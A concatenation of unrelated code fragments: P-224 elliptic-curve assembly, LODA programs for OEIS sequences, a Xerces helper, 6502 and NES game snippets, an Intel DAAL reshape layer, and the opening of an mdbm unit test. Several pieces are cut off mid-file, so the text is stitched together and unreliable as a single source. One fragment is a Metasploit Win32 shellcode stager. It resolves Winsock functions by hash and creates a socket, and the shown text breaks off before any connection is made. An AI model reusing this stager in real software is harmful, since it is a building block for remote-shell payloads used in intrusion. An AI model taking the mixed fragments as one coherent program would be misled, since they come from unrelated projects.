movl (20)(%esi), %eax
sbbl (20)(%ebx), %eax
movl %eax, (20)(%edi)
movl (24)(%esi), %eax
sbbl (24)(%ebx), %eax
movl %eax, (24)(%edi)
mov $(0), %eax
adc $(0), %eax
ret
.Lfe2:
.size g9_sub_224, .Lfe2-(g9_sub_224)
.p2align 5, 0x90
.type g9_shl_224, @function
g9_shl_224:
movdqu (%esi), %xmm0
movdqu (12)(%esi), %xmm1
movl (24)(%esi), %eax
psrldq $(4), %xmm1
movdqa %xmm0, %xmm2
psllq $(1), %xmm0
psrlq $(63), %xmm2
movdqa %xmm1, %xmm3
psllq $(1), %xmm1
psrlq $(63), %xmm3
palignr $(8), %xmm2, %xmm3
pslldq $(8), %xmm2
por %xmm3, %xmm1
por %xmm2, %xmm0
movdqu %xmm0, (%edi)
movq %xmm1, (16)(%edi)
psrldq $(8), %xmm1
movd %xmm1, (24)(%edi)
shr $(31), %eax
ret
.Lfe3:
.size g9_shl_224, .Lfe3-(g9_shl_224)
.p2align 5, 0x90
.type g9_shr_224, @function
g9_shr_224:
movdqu (%esi), %xmm0
movdqu (12)(%esi), %xmm2
movd %eax, %xmm1
palignr $(4), %xmm2, %xmm1
movdqa %xmm0, %xmm2
psrlq $(1), %xmm0
psllq $(63), %xmm2
movdqa %xmm1, %xmm3
psrlq $(1), %xmm1
psllq $(63), %xmm3
movdqa %xmm3, %xmm4
palignr $(8), %xmm2, %xmm3
psrldq $(8), %xmm4
por %xmm3, %xmm0
por %xmm4, %xmm1
movdqu %xmm0, (%edi)
movq %xmm1, (16)(%edi)
psrldq $(8), %xmm1
movd %xmm1, (24)(%edi)
ret
.Lfe4:
.size g9_shr_224, .Lfe4-(g9_shr_224)
.p2align 5, 0x90
.globl g9_p224r1_add
.type g9_p224r1_add, @function
g9_p224r1_add:
push %ebp
mov %esp, %ebp
push %ebx
push %esi
push %edi
mov %esp, %eax
sub $(32), %esp
and $(-16), %esp
movl %eax, (28)(%esp)
movl (8)(%ebp), %edi
movl (12)(%ebp), %esi
movl (16)(%ebp), %ebx
call g9_add_224
mov %eax, %edx
lea (%esp), %edi
movl (8)(%ebp), %esi
call .L__0000gas_5
.L__0000gas_5:
pop %ebx
sub $(.L__0000gas_5-p224r1_data), %ebx
lea ((_prime224r1-p224r1_data))(%ebx), %ebx
call g9_sub_224
lea (%esp), %esi
movl (8)(%ebp), %edi
sub %eax, %edx
cmovne %edi, %esi
movdqu (%esi), %xmm0
movq (16)(%esi), %xmm1
movd (24)(%esi), %xmm2
movdqu %xmm0, (%edi)
movq %xmm1, (16)(%edi)
movd %xmm2, (24)(%edi)
mov (28)(%esp), %esp
pop %edi
pop %esi
pop %ebx
pop %ebp
ret
.Lfe5:
.size g9_p224r1_add, .Lfe5-(g9_p224r1_add)
.p2align 5, 0x90
.globl g9_p224r1_sub
.type g9_p224r1_sub, @function
g9_p224r1_sub:
push %ebp
mov %esp, %ebp
push %ebx
push %esi
push %edi
mov %esp, %eax
sub $(32), %esp
and $(-16), %esp
movl %eax, (28)(%esp)
movl (8)(%ebp), %edi
movl (12)(%ebp), %esi
movl (16)(%ebp), %ebx
call g9_sub_224
mov %eax, %edx
lea (%esp), %edi
movl (8)(%ebp), %esi
call .L__0001gas_6
.L__0001gas_6:
pop %ebx
sub $(.L__0001gas_6-p224r1_data), %ebx
lea ((_prime224r1-p224r1_data))(%ebx), %ebx
call g9_add_224
lea (%esp), %esi
movl (8)(%ebp), %edi
test %edx, %edx
cmove %edi, %esi
movdqu (%esi), %xmm0
movq (16)(%esi), %xmm1
movd (24)(%esi), %xmm2
movdqu %xmm0, (%edi)
movq %xmm1, (16)(%edi)
movd %xmm2, (24)(%edi)
mov (28)(%esp), %esp
pop %edi
pop %esi
pop %ebx
pop %ebp
ret
.Lfe6:
.size g9_p224r1_sub, .Lfe6-(g9_p224r1_sub)
.p2align 5, 0x90
.globl g9_p224r1_neg
.type g9_p224r1_neg, @function
g9_p224r1_neg:
push %ebp
mov %esp, %ebp
push %ebx
push %esi
push %edi
mov %esp, %eax
sub $(32), %esp
and $(-16), %esp
movl %eax, (28)(%esp)
movl (8)(%ebp), %edi
movl (12)(%ebp), %esi
mov $(0), %eax
subl (%esi), %eax
movl %eax, (%edi)
mov $(0), %eax
sbbl (4)(%esi), %eax
movl %eax, (4)(%edi)
mov $(0), %eax
sbbl (8)(%esi), %eax
movl %eax, (8)(%edi)
mov $(0), %eax
sbbl (12)(%esi), %eax
movl %eax, (12)(%edi)
mov $(0), %eax
sbbl (16)(%esi), %eax
movl %eax, (16)(%edi)
mov $(0), %eax
sbbl (20)(%esi), %eax
movl %eax, (20)(%edi)
mov $(0), %eax
sbbl (24)(%esi), %eax
movl %eax, (24)(%edi)
sbb %edx, %edx
lea (%esp), %edi
movl (8)(%ebp), %esi
call .L__0002gas_7
.L__0002gas_7:
pop %ebx
sub $(.L__0002gas_7-p224r1_data), %ebx
lea ((_prime224r1-p224r1_data))(%ebx), %ebx
call g9_add_224
lea (%esp), %esi
movl (8)(%ebp), %edi
test %edx, %edx
cmove %edi, %esi
movdqu (%esi), %xmm0
movq (16)(%esi), %xmm1
movd (24)(%esi), %xmm2
movdqu %xmm0, (%edi)
movq %xmm1, (16)(%edi)
movd %xmm2, (24)(%edi)
mov (28)(%esp), %esp
pop %edi
pop %esi
pop %ebx
pop %ebp
ret
.Lfe7:
.size g9_p224r1_neg, .Lfe7-(g9_p224r1_neg)
.p2align 5, 0x90
.globl g9_p224r1_mul_by_2
.type g9_p224r1_mul_by_2, @function
g9_p224r1_mul_by_2:
push %ebp
mov %esp, %ebp
push %ebx
push %esi
push %edi
mov %esp, %eax
sub $(32), %esp
and $(-16), %esp
movl %eax, (28)(%esp)
lea (%esp), %edi
movl (12)(%ebp), %esi
call g9_shl_224
mov %eax, %edx
mov %edi, %esi
movl (8)(%ebp), %edi
call .L__0003gas_8
.L__0003gas_8:
pop %ebx
sub $(.L__0003gas_8-p224r1_data), %ebx
lea ((_prime224r1-p224r1_data))(%ebx), %ebx
call g9_sub_224
sub %eax, %edx
cmove %edi, %esi
movdqu (%esi), %xmm0
movq (16)(%esi), %xmm1
movd (24)(%esi), %xmm2
movdqu %xmm0, (%edi)
movq %xmm1, (16)(%edi)
movd %xmm2, (24)(%edi)
mov (28)(%esp), %esp
pop %edi
pop %esi
pop %ebx
pop %ebp
ret
.Lfe8:
.size g9_p224r1_mul_by_2, .Lfe8-(g9_p224r1_mul_by_2)
.p2align 5, 0x90
.globl g9_p224r1_mul_by_3
.type g9_p224r1_mul_by_3, @function
g9_p224r1_mul_by_3:
push %ebp
mov %esp, %ebp
push %ebx
push %esi
push %edi
mov %esp, %eax
sub $(64), %esp
and $(-16), %esp
movl %eax, (60)(%esp)
call .L__0004gas_9
.L__0004gas_9:
pop %eax
sub $(.L__0004gas_9-p224r1_data), %eax
lea ((_prime224r1-p224r1_data))(%eax), %eax
movl %eax, (56)(%esp)
lea (%esp), %edi
movl (12)(%ebp), %esi
call g9_shl_224
mov %eax, %edx
mov %edi, %esi
lea (28)(%esp), %edi
mov (56)(%esp), %ebx
call g9_sub_224
sub %eax, %edx
cmove %edi, %esi
movdqu (%esi), %xmm0
movq (16)(%esi), %xmm1
movd (24)(%esi), %xmm2
movdqu %xmm0, (%edi)
movq %xmm1, (16)(%edi)
movd %xmm2, (24)(%edi)
mov %edi, %esi
movl (12)(%ebp), %ebx
call g9_add_224
mov %eax, %edx
movl (8)(%ebp), %edi
mov (56)(%esp), %ebx
call g9_sub_224
sub %eax, %edx
cmove %edi, %esi
movdqu (%esi), %xmm0
movq (16)(%esi), %xmm1
movd (24)(%esi), %xmm2
movdqu %xmm0, (%edi)
movq %xmm1, (16)(%edi)
movd %xmm2, (24)(%edi)
mov (60)(%esp), %esp
pop %edi
pop %esi
pop %ebx
pop %ebp
ret
.Lfe9:
.size g9_p224r1_mul_by_3, .Lfe9-(g9_p224r1_mul_by_3)
.p2align 5, 0x90
.globl g9_p224r1_div_by_2
.type g9_p224r1_div_by_2, @function
g9_p224r1_div_by_2:
push %ebp
mov %esp, %ebp
push %ebx
push %esi
push %edi
mov %esp, %eax
sub $(32), %esp
and $(-16), %esp
movl %eax, (28)(%esp)
lea (%esp), %edi
movl (12)(%ebp), %esi
call .L__0005gas_10
.L__0005gas_10:
pop %ebx
sub $(.L__0005gas_10-p224r1_data), %ebx
lea ((_prime224r1-p224r1_data))(%ebx), %ebx
call g9_add_224
mov $(0), %edx
movl (%esi), %ecx
and $(1), %ecx
cmovne %edi, %esi
cmove %edx, %eax
movl (8)(%ebp), %edi
call g9_shr_224
mov (28)(%esp), %esp
pop %edi
pop %esi
pop %ebx
pop %ebp
ret
.Lfe10:
.size g9_p224r1_div_by_2, .Lfe10-(g9_p224r1_div_by_2)
.p2align 5, 0x90
.globl g9_p224r1_mul_mont_slm
.type g9_p224r1_mul_mont_slm, @function
g9_p224r1_mul_mont_slm:
push %ebp
mov %esp, %ebp
push %ebx
push %esi
push %edi
push %ebp
mov %esp, %eax
sub $(48), %esp
and $(-16), %esp
movl %eax, (44)(%esp)
pxor %mm0, %mm0
movq %mm0, (%esp)
movq %mm0, (8)(%esp)
movq %mm0, (16)(%esp)
movq %mm0, (24)(%esp)
movl (8)(%ebp), %edi
movl (12)(%ebp), %esi
movl (16)(%ebp), %ebp
movl %edi, (32)(%esp)
movl %esi, (36)(%esp)
movl %ebp, (40)(%esp)
mov $(7), %edi
movd (4)(%esi), %mm1
movd (8)(%esi), %mm2
movd (12)(%esi), %mm3
movd (16)(%esi), %mm4
.p2align 5, 0x90
.Lmmul_loopgas_11:
movd %edi, %mm7
movl (%ebp), %edx
movl (%esi), %eax
movd %edx, %mm0
add $(4), %ebp
movl %ebp, (40)(%esp)
pmuludq %mm0, %mm1
pmuludq %mm0, %mm2
mul %edx
addl (%esp), %eax
adc $(0), %edx
pmuludq %mm0, %mm3
pmuludq %mm0, %mm4
movd %mm1, %ecx
psrlq $(32), %mm1
add %edx, %ecx
movd %mm1, %edx
adc $(0), %edx
addl (4)(%esp), %ecx
movd (20)(%esi), %mm1
adc $(0), %edx
movd %mm2, %ebx
psrlq $(32), %mm2
add %edx, %ebx
movd %mm2, %edx
adc $(0), %edx
addl (8)(%esp), %ebx
movd (24)(%esi), %mm2
adc $(0), %edx
pmuludq %mm0, %mm1
pmuludq %mm0, %mm2
movd %mm3, %ebp
psrlq $(32), %mm3
add %edx, %ebp
movd %mm3, %edx
adc $(0), %edx
addl (12)(%esp), %ebp
adc $(0), %edx
movd %mm4, %edi
psrlq $(32), %mm4
add %edx, %edi
movd %mm4, %edx
adc $(0), %edx
addl (16)(%esp), %edi
adc $(0), %edx
neg %eax
adc $(0), %ecx
movl %ecx, (%esp)
adc $(0), %ebx
movl %ebx, (4)(%esp)
mov %eax, %ecx
sbb $(0), %eax
sub %eax, %ebp
movl %ebp, (8)(%esp)
mov %ecx, %eax
mov $(0), %ebp
sbb $(0), %edi
movl %edi, (12)(%esp)
adc $(0), %ebp
movd %mm1, %ecx
psrlq $(32), %mm1
add %edx, %ecx
movd %mm1, %edx
adc $(0), %edx
addl (20)(%esp), %ecx
adc $(0), %edx
movd %mm2, %ebx
psrlq $(32), %mm2
add %edx, %ebx
movd %mm2, %edx
adc $(0), %edx
addl (24)(%esp), %ebx
adc $(0), %edx
sub %ebp, %ecx
movl %ecx, (16)(%esp)
sbb $(0), %ebx
movl %ebx, (20)(%esp)
movd %mm7, %edi
sbb $(0), %eax
mov $(0), %ebx
addl (28)(%esp), %edx
adc $(0), %ebx
add %eax, %edx
movl %edx, (24)(%esp)
adc $(0), %ebx
movl %ebx, (28)(%esp)
sub $(1), %edi
movd (4)(%esi), %mm1
movd (8)(%esi), %mm2
movd (12)(%esi), %mm3
movd (16)(%esi), %mm4
jz .Lexit_mmul_loopgas_11
movl (40)(%esp), %ebp
jmp .Lmmul_loopgas_11
.Lexit_mmul_loopgas_11:
emms
mov (32)(%esp), %edi
lea (%esp), %esi
call .L__0006gas_11
.L__0006gas_11:
pop %ebx
sub $(.L__0006gas_11-p224r1_data), %ebx
lea ((_prime224r1-p224r1_data))(%ebx), %ebx
call g9_sub_224
movl (28)(%esp), %edx
sub %eax, %edx
cmove %edi, %esi
movdqu (%esi), %xmm0
movq (16)(%esi), %xmm1
movd (24)(%esi), %xmm2
movdqu %xmm0, (%edi)
movq %xmm1, (16)(%edi)
movd %xmm2, (24)(%edi)
mov (44)(%esp), %esp
pop %ebp
pop %edi
pop %esi
pop %ebx
pop %ebp
ret
.Lfe11:
.size g9_p224r1_mul_mont_slm, .Lfe11-(g9_p224r1_mul_mont_slm)
.p2align 5, 0x90
.globl g9_p224r1_sqr_mont_slm
.type g9_p224r1_sqr_mont_slm, @function
g9_p224r1_sqr_mont_slm:
push %ebp
mov %esp, %ebp
push %esi
push %edi
movl (12)(%ebp), %esi
movl (8)(%ebp), %edi
push %esi
push %esi
push %edi
call g9_p224r1_mul_mont_slm
add $(12), %esp
pop %edi
pop %esi
pop %ebp
ret
.Lfe12:
.size g9_p224r1_sqr_mont_slm, .Lfe12-(g9_p224r1_sqr_mont_slm)
.p2align 5, 0x90
.globl g9_p224r1_mred
.type g9_p224r1_mred, @function
g9_p224r1_mred:
push %ebp
mov %esp, %ebp
push %ebx
push %esi
push %edi
movl (12)(%ebp), %esi
mov $(7), %ecx
xor %edx, %edx
.p2align 5, 0x90
.Lmred_loopgas_13:
movl (%esi), %eax
neg %eax
mov $(0), %ebx
movl %ebx, (%esi)
movl (4)(%esi), %ebx
adc $(0), %ebx
movl %ebx, (4)(%esi)
movl (8)(%esi), %ebx
adc $(0), %ebx
movl %ebx, (8)(%esi)
push %eax
movl (12)(%esi), %ebx
sbb $(0), %eax
sub %eax, %ebx
movl %ebx, (12)(%esi)
pop %eax
movl (16)(%esi), %ebx
sbb $(0), %ebx
movl %ebx, (16)(%esi)
movl (20)(%esi), %ebx
sbb $(0), %ebx
movl %ebx, (20)(%esi)
movl (24)(%esi), %ebx
sbb $(0), %ebx
movl %ebx, (24)(%esi)
movl (28)(%esi), %ebx
sbb $(0), %eax
add %edx, %eax
mov $(0), %edx
adc $(0), %edx
add %eax, %ebx
movl %ebx, (28)(%esi)
adc $(0), %edx
lea (4)(%esi), %esi
sub $(1), %ecx
jnz .Lmred_loopgas_13
movl (8)(%ebp), %edi
call .L__0007gas_13
.L__0007gas_13:
pop %ebx
sub $(.L__0007gas_13-p224r1_data), %ebx
lea ((_prime224r1-p224r1_data))(%ebx), %ebx
call g9_sub_224
sub %eax, %edx
cmove %edi, %esi
movdqu (%esi), %xmm0
movq (16)(%esi), %xmm1
movd (24)(%esi), %xmm2
movdqu %xmm0, (%edi)
movq %xmm1, (16)(%edi)
movd %xmm2, (24)(%edi)
pop %edi
pop %esi
pop %ebx
pop %ebp
ret
.Lfe13:
.size g9_p224r1_mred, .Lfe13-(g9_p224r1_mred)
.p2align 5, 0x90
.globl g9_p224r1_select_pp_w5
.type g9_p224r1_select_pp_w5, @function
g9_p224r1_select_pp_w5:
push %ebp
mov %esp, %ebp
push %esi
push %edi
pxor %xmm0, %xmm0
movl (8)(%ebp), %edi
movl (12)(%ebp), %esi
movl (16)(%ebp), %eax
movd %eax, %xmm7
pshufd $(0), %xmm7, %xmm7
mov $(1), %edx
movd %edx, %xmm6
pshufd $(0), %xmm6, %xmm6
movdqa %xmm0, (%edi)
movdqa %xmm0, (16)(%edi)
movdqa %xmm0, (32)(%edi)
movdqa %xmm0, (48)(%edi)
movdqa %xmm0, (64)(%edi)
pxor %xmm3, %xmm3
movdqa %xmm6, %xmm5
mov $(16), %ecx
.p2align 5, 0x90
.Lselect_loopgas_14:
movdqa %xmm5, %xmm4
pcmpeqd %xmm7, %xmm4
movdqu (%esi), %xmm0
pand %xmm4, %xmm0
por (%edi), %xmm0
movdqa %xmm0, (%edi)
movdqu (16)(%esi), %xmm1
pand %xmm4, %xmm1
por (16)(%edi), %xmm1
movdqa %xmm1, (16)(%edi)
movdqu (32)(%esi), %xmm0
pand %xmm4, %xmm0
por (32)(%edi), %xmm0
movdqa %xmm0, (32)(%edi)
movdqu (48)(%esi), %xmm1
pand %xmm4, %xmm1
por (48)(%edi), %xmm1
movdqa %xmm1, (48)(%edi)
movdqu (64)(%esi), %xmm0
pand %xmm4, %xmm0
por (64)(%edi), %xmm0
movdqa %xmm0, (64)(%edi)
movd (80)(%esi), %xmm1
pand %xmm4, %xmm1
por %xmm1, %xmm3
paddd %xmm6, %xmm5
add $(84), %esi
sub $(1), %ecx
jnz .Lselect_loopgas_14
movd %xmm3, (80)(%edi)
pop %edi
pop %esi
pop %ebp
ret
.Lfe14:
.size g9_p224r1_select_pp_w5, .Lfe14-(g9_p224r1_select_pp_w5)
|
lineDraw:
|
; A093785: Numbers that are divisible by every digit in their Roman numeral representation.
; Submitted by Jamie Morken(s4)
; 1,2,3,5,10,20,30,50,100,200,300,500,1000,2000,3000
lpb $0
sub $0,1
mov $2,$0
max $2,0
seq $2,194350 ; Numbers covering A000027: a(n)=(1, 1, 2, 5) * A011557(n)).
add $3,$2
lpe
mov $0,$3
add $0,1
|
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* $Id: HPCCDefs.cpp 568078 2007-08-21 11:43:25Z amassari $
*/
// ---------------------------------------------------------------------------
// Includes
// ---------------------------------------------------------------------------
#include <xercesc/util/Compilers/HPCCDefs.hpp>
#include <strings.h>
int stricmp(const char* const str1, const char* const str2)
{
return strcasecmp(str1, str2);
}
int strnicmp(const char* const str1, const char* const str2, const unsigned int count)
{
if (count == 0)
return 0;
return strncasecmp( str1, str2, (size_t)count);
}
|
stx {m1}
lda {m2}+1
sta {m1}+1
|
; A325644: "Sloping quaternary numbers": write numbers in quaternary under each other (right-justified), read diagonals in upward direction, convert to decimal.
; Submitted by Jamie Morken(w2)
; 0,1,2,7,4,5,6,11,8,9,10,15,12,13,30,19,16,17,18,23,20,21,22,27,24,25,26,31,28,29,46,35,32,33,34,39,36,37,38,43,40,41,42,47,44,45,62,51,48,49,50,55,52,53,54,59,56,57,58,63,60,125,78,67,64,65,66,71,68,69,70,75,72,73,74,79,76,77,94,83,80,81,82,87,84,85,86,91,88,89,90,95,92,93,110,99,96,97,98,103
add $0,1
mov $1,$0
mov $2,$0
mov $4,1
lpb $2
mul $4,4
mov $3,$4
mov $5,$0
add $0,1
mod $5,$4
cmp $5,0
mul $3,$5
add $1,$3
sub $2,3
lpe
mov $0,$1
sub $0,1
|
;;; Long HUD 'Increase MP' Example
;;; works with User variable myMP
;;; macro edits variables myMagic and myMagicHi.
;;; works with HUD variable HUD_myMagic and HUD_myMagicHi.
LDA myMP ;This is a User Variable so we can track our MP.
CLC
ADC #$02
;;;you may want to test against a MAX HEALTH.
;;; this could be a static number in which case you could just check against that number
;;; or it could be a variable you set up which may change as you go through the game.
CMP #$11 ;Compare to 17. If we have 16 MP and +1, 17 is too high.
BCC addMP ;Jump over the code messing with myMP so we don't overflow.
LDA #$10
STA myMP
JMP MagicUpdateHud
addMP:
TXA
STA tempx
LDA myMP
ADC #$02
STA myMP
MagicUpdateHud:
;Here's the Macro. LongBar [low-byte],[high-byte],[HUD_update_bit_1],[HUD_update_bit_2]
LongBar myMagic,myMagicHi,HUD_myMagic,HUD_myMagicHi
LDX tempx
JMP skipGettingMagicB
skipGettingMagicB:
PlaySound #SFX_INCREASE_HEALTH |
; Title: Win32 Socket Initialization (connect)
; Platforms: Windows NT 4.0, Windows 2000, Windows XP, Windows 2003
; Author: hdm[at]metasploit.com
[BITS 32]
%include "win32_stage_api.asm"
sub esp, 0x100
push eax ; [ebp + 12] = VirtualAlloc
push edi ; [ebp + 8] = LoadLibraryA
push esi ; [ebp + 4] = LGetProcAddress
push ebx ; [ebp + 0] = kernel32.dll base
mov ebp, esp
call LLoadWinsock
%define FN_RECV [ebp + 24]
%define FN_SEND [ebp + 28]
%define FN_CONNECT [ebp + 32]
%define FN_WSASOCK [ebp + 36]
%define FN_WSASTART [ebp + 40]
LWSDataSegment:
;========================
dd 0x190 ; used by wsastartup
dd 0xe71819b6 ; recv [ebp + 24]
dd 0xe97019a4 ; send [ebp + 28]
dd 0x60aaf9ec ; connect [ebp + 32]
dd 0xadf509d9 ; WSASocketA [ebp + 36]
dd 0x3bfcedcb ; WSAStartup [ebp + 40]
db "WS2_32", 0x00
;========================
LLoadWinsock:
pop ebx ; save address to data in ebx
lea ecx, [ebx + 24] ; find address of "WS2_32.DLL"
push ecx ; push address of "WS2_32.DLL"
call edi ; call LoadLibraryA("WS2_32.DLL")
mov edi, ebx ; store base of data section in edi
mov ebx, eax ; store base of winsock in ebx
lea esi, [ebp + 20] ; store base of function table
push byte 0x05 ; load five functions by hash
pop ecx ; configure the counter
Looper:
push ecx ; save the counter
push ebx ; dll handle
push dword [edi + ecx * 4] ; function hash value
call [ebp + 4] ; find the address
pop ecx ; restore the counter
mov [esi + ecx * 4], eax ; stack segment to store addresses
loop Looper
LWSAStartup: ; WSAStartup (0x101, DATA)
sub esp, [edi]
push esp
push dword [edi]
call FN_WSASTART
xor eax, eax
LWSASocketA: ; WSASocketA (2,2,0,0,0,0)
push eax
push eax
push eax
push eax
inc eax
inc eax
push eax
push eax
call FN_WSASOCK
mov edi, eax
|
; A208556: Number of 4 X n 0..1 arrays avoiding 0 0 0 and 0 0 1 horizontally and 0 0 1 and 0 1 1 vertically.
; 9,81,225,1089,3969,16641,65025,263169,1046529,4198401,16769025,67125249,268402689,1073807361,4294836225,17180131329,68718952449,274878955521,1099509530625,4398050705409,17592177655809,70368760954881,281474943156225,1125899973951489,4503599493152769,18014398777917441,72057593501057025,288230377225453569,1152921502459363329,4611686022722355201,18446744065119617025,73786976312018075649,295147905144993087489,1180591620786130780161,4722366482732206260225,18889465931753458761729,75557863725364567605249,302231454904756805304321,1208925819612430151450625,4835703278462914745335809,19342813113825270702276609,77371252455353859367239681,309485009821309884352692225,1237940039285450643643301889,4951760157141380362108141569,19807040628566365873362698241,79228162514263774643590529025,316912650057058476274082643969,1267650600228227149696889520129,5070602400912922109586440192001,20282409603651661416747996545025,81129638414606699710187514626049,324518553658426690754359001612289,1298074214633706979190218120232961,5192296858534827484415308253364225,20769187434139310802352361468592129,83076749736557241480027188964098049,332306998946228969378873269676933121
mov $1,$0
add $1,2
mov $2,-2
pow $2,$1
sub $2,1
pow $2,2
mov $0,$2
|
/* file: reshape_layer_forward.cpp */
/*******************************************************************************
* Copyright 2014-2018 Intel Corporation
* All Rights Reserved.
*
* If this software was obtained under the Intel Simplified Software License,
* the following terms apply:
*
* The source code, information and material ("Material") contained herein is
* owned by Intel Corporation or its suppliers or licensors, and title to such
* Material remains with Intel Corporation or its suppliers or licensors. The
* Material contains proprietary information of Intel or its suppliers and
* licensors. The Material is protected by worldwide copyright laws and treaty
* provisions. No part of the Material may be used, copied, reproduced,
* modified, published, uploaded, posted, transmitted, distributed or disclosed
* in any way without Intel's prior express written permission. No license under
* any patent, copyright or other intellectual property rights in the Material
* is granted to or conferred upon you, either expressly, by implication,
* inducement, estoppel or otherwise. Any license under such intellectual
* property rights must be express and approved by Intel in writing.
*
* Unless otherwise agreed by Intel in writing, you may not remove or alter this
* notice or any other notice embedded in Materials by Intel or Intel's
* suppliers or licensors in any way.
*
*
* If this software was obtained under the Apache License, Version 2.0 (the
* "License"), the following terms apply:
*
* You may not use this file except in compliance with the License. You may
* obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
*
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*
* See the License for the specific language governing permissions and
* limitations under the License.
*******************************************************************************/
/*
//++
// Implementation of reshape calculation algorithm and types methods.
//--
*/
#include "reshape_layer_forward_types.h"
#include "reshape_layer_types.h"
#include "serialization_utils.h"
#include "daal_strings.h"
namespace daal
{
namespace algorithms
{
namespace neural_networks
{
namespace layers
{
namespace reshape
{
namespace forward
{
namespace interface1
{
__DAAL_REGISTER_SERIALIZATION_CLASS(Result, SERIALIZATION_NEURAL_NETWORKS_LAYERS_RESHAPE_FORWARD_RESULT_ID);
/** Default constructor */
Input::Input() {};
Input::Input(const Input& other) : super(other) {}
/**
* Returns dimensions of weights tensor
* \return Dimensions of weights tensor
*/
const services::Collection<size_t> Input::getWeightsSizes(const layers::Parameter *parameter) const
{
return services::Collection<size_t>();
}
/**
* Returns dimensions of biases tensor
* \return Dimensions of biases tensor
*/
const services::Collection<size_t> Input::getBiasesSizes(const layers::Parameter *parameter) const
{
return services::Collection<size_t>();
}
/** Default constructor */
Result::Result() : layers::forward::Result() {};
/**
* Returns result of the forward reshape layer
* \param[in] id Identifier of the result
* \return Result that corresponds to the given identifier
*/
data_management::NumericTablePtr Result::get(LayerDataId id) const
{
layers::LayerDataPtr layerData =
services::staticPointerCast<layers::LayerData, data_management::SerializationIface>(Argument::get(layers::forward::resultForBackward));
if(!layerData)
return data_management::NumericTablePtr();
return services::staticPointerCast<data_management::NumericTable, data_management::SerializationIface>((*layerData)[id]);
}
/**
* Sets the result of the forward reshape layer
* \param[in] id Identifier of the result
* \param[in] value Pointer to the object
*/
void Result::set(LayerDataId id, const data_management::NumericTablePtr &value)
{
layers::LayerDataPtr layerData =
services::staticPointerCast<layers::LayerData, data_management::SerializationIface>(Argument::get(layers::forward::resultForBackward));
if(layerData)
(*layerData)[id] = value;
}
/**
* Checks the result of the forward reshape layer
* \param[in] input %Input object for the algorithm
* \param[in] par %Parameter of the algorithm
* \param[in] method Computation method
*/
services::Status Result::check(const daal::algorithms::Input *input, const daal::algorithms::Parameter *parameter, int method) const
{
services::Status s;
DAAL_CHECK_STATUS(s, layers::forward::Result::check(input, parameter, method));
const Input *algInput = static_cast<const Input *>(input);
const layers::reshape::Parameter *par = static_cast<const layers::reshape::Parameter * >(parameter);
const services::Collection<size_t>& inDims = algInput->get(layers::forward::data)->getDimensions();
services::Collection<size_t> outDims = par->reshapeDimensions;
bool haveNegative = false;
size_t negIndex = 0;
size_t nonNegSize = 1;
for( size_t i = 0; i < outDims.size(); i++ )
{
if( outDims[i] == (size_t)(-1) )
{
haveNegative = true;
negIndex = i;
}
else
{
if( outDims[i] == 0 )
{
outDims[i] = inDims[i];
}
nonNegSize *= outDims[i];
}
}
if(haveNegative)
{
outDims[negIndex] = algInput->get(layers::forward::data)->getSize() / nonNegSize;
}
DAAL_CHECK_STATUS(s, data_management::checkTensor(get(layers::forward::value).get(), valueStr(), &outDims));
if(!par->predictionStage)
{
data_management::NumericTablePtr dimsNT = get(auxInputDimensions);
if (dimsNT.get() == 0) { return services::Status(services::ErrorNullNumericTable); }
if (dimsNT->getNumberOfColumns() != outDims.size()) { return services::Status(services::ErrorIncorrectNumberOfColumnsInOutputNumericTable); }
if (dimsNT->getNumberOfRows() != 1) { return services::Status(services::ErrorIncorrectNumberOfRowsInOutputNumericTable); }
}
return s;
}
/**
* Returns dimensions of value tensor
* \return Dimensions of value tensor
*/
const services::Collection<size_t> Result::getValueSize(const services::Collection<size_t> &inputSize,
const daal::algorithms::Parameter *par, const int method) const
{
return inputSize;
}
}// namespace interface1
}// namespace forward
}// namespace reshape
}// namespace layers
}// namespace neural_networks
}// namespace algorithms
}// namespace daal
|
; A028243: a(n) = 3^(n-1) - 2*2^(n-1) + 1 (essentially Stirling numbers of second kind).
; 0,0,2,12,50,180,602,1932,6050,18660,57002,173052,523250,1577940,4750202,14283372,42915650,128878020,386896202,1161212892,3484687250,10456158900,31372671002,94126401612,282395982050,847221500580,2541731610602,7625329049532,22876255584050,68629303623060,205888984611002,617669101316652,1853011598917250,5559043386686340
lpb $0,1
sub $0,1
add $1,$3
mul $1,2
mov $2,$3
add $2,$3
add $3,1
add $3,$2
lpe
|
/* Copyright 2013 Yahoo! Inc. */
/* See LICENSE in the root of the distribution for licensing details. */
// Unit Tests for mdbm_get_hash mdbm_sethash
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <limits.h>
#include <iostream>
#include <vector>
#include <algorithm>
#include <cppunit/TestAssert.h>
#include <cppunit/TestCase.h>
#include <cppunit/TestFixture.h>
#include <cppunit/TestResult.h>
#include <cppunit/TestResultCollector.h>
#include <cppunit/extensions/HelperMacros.h>
#include <cppunit/extensions/TestFactoryRegistry.h>
#include <cppunit/ui/text/TestRunner.h>
#include "mdbm_util.h"
#include "TestBase.hh"
#define main comp_main_wrapper
#include "../../tools/mdbm_compare.c"
#undef main
// include import so we can patch changes from cdb format
#define main imp_main_wrapper_c
#define usage imp_usage_wrapper_c
#include "../../tools/mdbm_import.cc"
#undef main
#undef usage
class CompareTestBase : public CppUnit::TestFixture, public TestBase
{
public:
CompareTestBase(int vFlag) : TestBase(vFlag, "Compare Test Suite") {}
void setUp();
void tearDown() { }
// unit tests in this suite
void CompareSame();
void CompareDifferent();
void CheckDiffCount();
void PatchMissing();
void PatchCommon();
protected:
string file1, file2, difname;
void MakeTestMdbms(const string& fname1, const string& fname2);
};
void CompareTestBase::setUp()
{
file1 = GetTmpName();
file2 = GetTmpName();
difname = GetTmpName(".diff");
